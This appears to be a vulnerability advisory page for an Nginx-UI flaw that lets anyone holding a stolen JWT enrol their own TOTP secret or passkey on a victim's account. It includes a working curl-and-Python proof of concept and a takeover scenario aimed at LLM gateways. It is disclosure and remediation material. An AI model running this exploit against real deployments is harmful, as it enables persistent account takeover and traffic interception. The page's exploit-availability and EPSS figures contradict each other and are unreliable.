CVE-2026-84313: Nginx-UI: missing re-auth on 2FA enrolment enables takeover
GHSA-gfrc-g87h-7h5wHIGHPoC AVAILABLECISA: ATTENDNginx-UI, a web management console for Nginx, lets anyone holding a valid JWT enroll their own TOTP secret or WebAuthn passkey on the victim's account because the enrolment routes sit outside the secure-session check and require no password re-prompt. The result is persistent account takeover that survives password resets and locks out the legitimate admin, and since Nginx-UI controls reverse-proxy and TLS configuration, a compromised account can redirect or intercept traffic, including traffic to AI/ML inference endpoints it fronts. The CVSS is 8.8, but real-world urgency is moderate: EPSS is 0.43% (top 64%), the CVE is not in CISA KEV, and there is no public exploit or Nuclei template, and exploitation requires a stolen or already-held low-privilege JWT. Upgrade to the patched Nginx-UI release (advisory fix commit 23d1934, v2.4.1 referenced), and audit the users table for unexpected OTP secrets and the passkeys table for unknown rows.
What is the risk?
High severity (CVSS 8.8) with moderate practical likelihood. The attack needs only a low-privilege valid JWT, with no user interaction and low complexity. The PoC is trivial to reproduce from the advisory text, although no public exploit or scanner template is tracked. EPSS (0.43%, top 64%) and the absence from KEV indicate no observed mass exploitation. The AI/ML exposure is indirect: Nginx-UI is not an AI component, but it often manages the reverse proxies in front of model-serving, notebook and agent endpoints. Compromise yields control of that proxy layer. The fix is incomplete on its own, since the advisory states RequireSecureSession is a no-op for non-OTP users, so patched versions must include both fixes.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Nginx-UI | go | < 1.9.10-0.20260703131214-23d1934099b0 | 1.9.10-0.20260703131214-23d1934099b0 |
| github.com/0xJacky/Nginx-UI | go | < 1.9.10-0.20260703131214-23d1934099b0 | 1.9.10-0.20260703131214-23d1934099b0 |
How severe is it?
What is the attack surface?
What should I do?
1 step1) Upgrade Nginx-UI to the patched build (>= 1.9.10-0.20260703131214-23d1934099b0 / release v2.4.1) and confirm the secure-session fix is included. 2) Invalidate all active JWTs and rotate admin passwords after upgrading. 3) Audit the users table for unexpected OTPSecret values and the passkeys table for unrecognized rows, and remove unauthorized factors. 4) Review recent 2FA enrolment events and /api/otp_enroll and /api/finish_passkey_register requests in access logs. 5) Restrict the Nginx-UI management interface to a VPN or management network and do not expose it to the internet. 6) Review Nginx configs and certificates for unauthorized changes if any suspicious enrolment is found. No reliable workaround exists.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-84313?
Nginx-UI, a web management console for Nginx, lets anyone holding a valid JWT enroll their own TOTP secret or WebAuthn passkey on the victim's account because the enrolment routes sit outside the secure-session check and require no password re-prompt. The result is persistent account takeover that survives password resets and locks out the legitimate admin, and since Nginx-UI controls reverse-proxy and TLS configuration, a compromised account can redirect or intercept traffic, including traffic to AI/ML inference endpoints it fronts. The CVSS is 8.8, but real-world urgency is moderate: EPSS is 0.43% (top 64%), the CVE is not in CISA KEV, and there is no public exploit or Nuclei template, and exploitation requires a stolen or already-held low-privilege JWT. Upgrade to the patched Nginx-UI release (advisory fix commit 23d1934, v2.4.1 referenced), and audit the users table for unexpected OTP secrets and the passkeys table for unknown rows.
Is CVE-2026-84313 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-84313, increasing the risk of exploitation.
How to fix CVE-2026-84313?
1) Upgrade Nginx-UI to the patched build (>= 1.9.10-0.20260703131214-23d1934099b0 / release v2.4.1) and confirm the secure-session fix is included. 2) Invalidate all active JWTs and rotate admin passwords after upgrading. 3) Audit the users table for unexpected OTPSecret values and the passkeys table for unrecognized rows, and remove unauthorized factors. 4) Review recent 2FA enrolment events and /api/otp_enroll and /api/finish_passkey_register requests in access logs. 5) Restrict the Nginx-UI management interface to a VPN or management network and do not expose it to the internet. 6) Review Nginx configs and certificates for unauthorized changes if any suspicious enrolment is found. No reliable workaround exists.
What systems are affected by CVE-2026-84313?
This vulnerability affects the following AI/ML architecture patterns: Reverse proxy and API gateways in front of model serving, Self-hosted LLM inference endpoints behind Nginx, MLOps and notebook environments managed via Nginx-UI.
What is the CVSS score for CVE-2026-84313?
CVE-2026-84313 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.54%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0012Valid AccountsAML.T0049Exploit Public-Facing ApplicationAML.T0091.000Application Access TokenCompliance Controls Affected
What are the technical details?
Original Advisory
## Summary Endpoints that bind a TOTP secret (`POST /api/otp_enroll`) or register a WebAuthn passkey (`POST /api/finish_passkey_register`) for the *current* user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered **outside** the `RequireSecureSession()` group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out. ## Details `api/user/router.go:34-39` — note the routes registered *before* the secure-session group: ```go r.GET("/otp_secret", GenerateTOTP) r.POST("/otp_enroll", EnrollTOTP) // ← outside RequireSecureSession r.GET("/begin_passkey_register", BeginPasskeyRegistration) r.POST("/finish_passkey_register", FinishPasskeyRegistration) // ← outside RequireSecureSession o := r.Group("", middleware.RequireSecureSession()) { o.GET("/otp_reset", ResetOTP) // reset *is* protected — inconsistent ... } ``` `EnrollTOTP` (`api/user/otp.go:45-102`) only refuses if `cUser.EnabledOTP()` is already `true`; for any victim who has never enabled TOTP it accepts an attacker-supplied `Secret` and `Passcode` pair (the validator only checks that the passcode is a valid TOTP for the supplied secret — i.e., the attacker proves they know the secret they are submitting): ```go if cUser.EnabledOTP() { ... abort ... } var twoFA struct { Secret string `json:"secret" binding:"required"` Passcode string `json:"passcode" binding:"required"` } if !cosy.BindAndValid(c, &twoFA) { return } if ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... } ciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret)) u.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext) ``` `FinishPasskeyRegistration` (`api/user/passkey.go`) is structurally identical and additionally has *no* "already enrolled" guard — an attacker can register multiple passkeys to the victim. ## Proof of Concept ```bash JWT="<victim_jwt>" # Step 1 — request a fresh TOTP secret server-side (anyone with JWT can call): $ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/otp_secret {"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN", "url":"otpauth://totp/Nginx%20UI:admin?...&secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN"} # Step 2 — compute current 30-s TOTP code (attacker-side): $ python3 -c "import base64,hmac,hashlib,struct,time key=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN') ctr=int(time.time())//30 h=hmac.new(key, struct.pack('>Q',ctr), hashlib.sha1).digest() o=h[-1]&0xF; v=(struct.unpack('>I',h[o:o+4])[0]&0x7fffffff)%1000000 print(f'{v:06d}')" 954084 # Step 3 — bind that secret to the victim's account: $ curl -i -X POST -H "Authorization: $JWT" -H "Content-Type: application/json" \ -d '{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN","passcode":"954084"}' \ http://127.0.0.1:18080/api/otp_enroll HTTP/1.1 200 OK {"message":"ok","codes":[{"code":"c77d5-50543"},{"code":"f9284-688c6"},...], "last_viewed":1778338236} # Step 4 — confirm 2FA is now enabled on the victim's account: $ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/2fa_status {"enabled":true,"otp_status":true,"passkey_status":false, "recovery_codes_generated":true,"recovery_codes_viewed":true} ``` Now whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the *attacker's* authenticator. The passkey variant follows the same pattern: `GET /api/begin_passkey_register` then `POST /api/finish_passkey_register` with the attacker's WebAuthn authenticator. The route is also outside `RequireSecureSession`. ## Impact * Persistent account takeover surviving the victim's password reset. * Combines trivially with any of: stolen JWT, the `RequireSecureSession` bypass, the missing-role-model privilege escalation, and the weak recovery-code generation. ## Patches `api/user/router.go` — move enrolment routes inside the secure-session group: ```diff - r.POST("/otp_enroll", EnrollTOTP) - r.GET("/begin_passkey_register", BeginPasskeyRegistration) - r.POST("/finish_passkey_register", FinishPasskeyRegistration) - o := r.Group("", middleware.RequireSecureSession()) { + o.POST("/otp_enroll", EnrollTOTP) + o.GET("/begin_passkey_register", BeginPasskeyRegistration) + o.POST("/finish_passkey_register", FinishPasskeyRegistration) o.GET("/otp_reset", ResetOTP) ... } ``` This patch alone is **not sufficient** — the `RequireSecureSession` middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user's current password in the request body for these mutations (mirroring `UpdateCurrentUserPassword` at `api/user/current_user.go`). ## Workarounds None reliable. Operators should monitor the `users` table for unexpected `OTPSecret` values and the `passkeys` table for unexpected rows. ## Credits Vishal Shukla ([@shukla304](https://github.com/shukla304)) and Sechub.dev AI Agent.
Exploitation Scenario
An attacker obtains an Nginx-UI admin JWT through XSS, a leaked browser session, or log exposure. They call GET /api/otp_secret, compute a valid TOTP code locally, and POST it with the secret to /api/otp_enroll, which binds their authenticator to the admin account. When the defenders rotate the password after noticing the incident, the attacker still holds the second factor and logs back in. From there they modify the Nginx configuration that fronts an internal LLM inference gateway, diverting traffic to a proxy that harvests API keys and prompts, or removing access controls from a model-serving endpoint.
Weaknesses (CWE)
CWE-287 — Improper Authentication: When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
- [Architecture and Design] Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
Timeline
Related Vulnerabilities
CVE-2026-2185810.0n8n: Input Validation flaw enables exploitation
Same attack type: Auth BypassGHSA-vvpj-8cmc-gx3910.0picklescan: security flaw enables exploitation
Same attack type: Auth BypassCVE-2025-282810.0LangChain RequestsToolkit: SSRF exposes cloud metadata
Same attack type: Auth BypassCVE-2025-5376710.0Azure OpenAI: SSRF EoP, no auth required (CVSS 10)
Same attack type: Auth BypassCVE-2026-2603010.0semantic-kernel: Code Injection enables RCE
Same attack type: Auth Bypass